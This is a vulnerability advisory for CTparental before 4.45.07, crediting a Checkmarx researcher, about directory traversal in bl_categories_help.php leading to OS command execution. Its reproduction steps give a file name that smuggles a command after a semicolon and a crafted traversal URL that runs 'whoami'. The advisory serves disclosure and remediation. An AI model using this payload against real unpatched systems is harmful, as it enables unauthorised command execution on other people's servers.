Summary
CTparental before 4.45.07 is vulnerable to Code Execution. Because The file bl_categories_help.php is vulnerable to directory traversal, an attacker can create a file with a name that contains bash scripts and run arbitrary OS commands.
Product
CTparental before 4.45.07
Impact
An attacker could create a file with a name that contains OS commands and craft a link that traverses to this file and runs an OS command with www-data OS user permission.
Steps to reproduce
The attacker has a user on the CTparental machine, and they create a file with the following name:
/tmp/ 1;whoami;#.conf
The attacker clicks the following link:
https://admin.ct.local/bl_categories_help.php?cat=../../../../../../..//tmp/1;whoami;%23
Expected result:
The browser displays the result of whoami command.
Remediation
Update CTparental to 4.45.07 or above
https://gitlab.com/marsat/CTparental/-/releases/4.45.07
Credit
This issue was discovered and reported by Checkmarx Security Researcher
Or Sahar.
